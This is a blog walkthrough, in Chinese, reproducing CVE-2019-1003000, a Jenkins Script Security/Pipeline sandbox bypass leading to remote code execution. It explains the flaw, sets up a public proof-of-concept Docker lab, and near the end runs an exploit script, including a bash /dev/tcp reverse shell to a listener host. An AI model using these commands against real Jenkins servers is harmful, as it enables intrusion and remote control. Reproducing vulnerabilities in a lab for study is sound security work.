前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2019-1003000-jenkins-RCE复现

CVE-2019-1003000-jenkins-RCE复现

作者头像
墙角睡大觉
发布2019-09-24 17:38:45
3.8K0
发布2019-09-24 17:38:45
举报

0X1 漏洞预警

2019年1月8日,Jenkins官方发布了一则Script Security and Pipeline 插件远程代码执行漏洞的安全公告,漏洞CVE编号为:CVE-2019-1003000,官方定级为高危。2019年2月15日,网上公布了该漏洞的利用方式,该漏洞允许具有“Overall/Read”权限的用户或能够控制SCM中的Jenkinsfile或者sandboxed Pipeline共享库内容的用户绕过沙盒保护并在Jenkins主服务器上执行任意代码。

Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。Jenkins的目的是持续、自动地构建/测试软件项目以及监控软件开放流程,快速问题定位及处理,提示开放效率。

Script Security and Pipeline 插件是Jenkins的一个安全插件,可以集成到Jenkins各种功能插件中。它主要支持两个相关系统:脚本批准和Groovy沙盒。

该漏洞存在于Declarative Plugin 1.3.4.1之前的版本, Groovy Plugin 2.61.1之前的版本以及 Script Security Plugin 1.50之前的版本。该漏洞通过将AST转换注释(如@Grab)应用于源代码元素,可以在脚本编译阶段避免脚本安全沙箱保护。所以会造成具有“Overall/Read”权限的用户或能够控制SCM中的Jenkinsfile或者sandboxed Pipeline共享库内容的用户可以绕过沙盒保护并在Jenkins主服务器上执行任意代码。

0X2 漏洞复现

可以在官网下载漏洞版本,我们在此选择其他安全研究人员已经测试好的demo进行测试,下载地址:

https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

分别在Kali下和Ubuntu16.04下搭建,发现Ubuntu下的环境在运行的时候失败了,原因是docker版本过旧,安装的是docker.io,所以请务必安装最新的docker-ce。本次环境在kali下进行,并且kali已经安装了最新版的docker,安装方法请自行度娘。

代码下载链接:

https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

下载之后,安装依赖环境:

进入sample-vuln文件件,拉取环境:

拉取完成之后,开始运行环境,但是一直没有启动来,一运行启动命令,ps查看都没有容器实例:

再次编辑运行脚本,去掉--rm子命令,不用自动移除相同名称的容器。再次运行之后,docker ps -a查看能够发现环境实例存在,但是docker ps没有,上一条的命令显示环境一启动就退出了,通过日志命令docker logs container_id 排查:

发现是权限问题,本地的jenkinsdata文件夹是root权限,而jenkins的权限很小,uid等信息都是1000,所以修改jenkinsdata的权限并删除之前的容器再次运行脚本,即可启动环境:

这样环境已经启动ok了!

由于环境是作者已经搭建好的,因此我们进入到容器中,并没有发现初始化密码的文件secrets/initialAdminPassword的存在:

所以只能使用user1/user1进行登录,并发现已有的job任务my-pipeline已经被创建好

下面利用已有的信息进行漏洞利用:

python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "whoami"

反弹shell成功:

python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/192.168.0.102/12345 0>&1"

至此,漏洞利用成功!

实验的难点在于jenkins 2.152-alpine的安装搭建,并且漏洞的几个插件都已经被官方修复,在系统配置中安装的时候,security-script很容易被升级到最新版,利用就会失败!

做实验不容易,且行且珍惜!

参考链接:

https://github.com/petercunha/Jenkins-PreAuth-RCE-PoC

https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/

https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-02-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 安全漏洞环境学习 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器镜像服务
容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档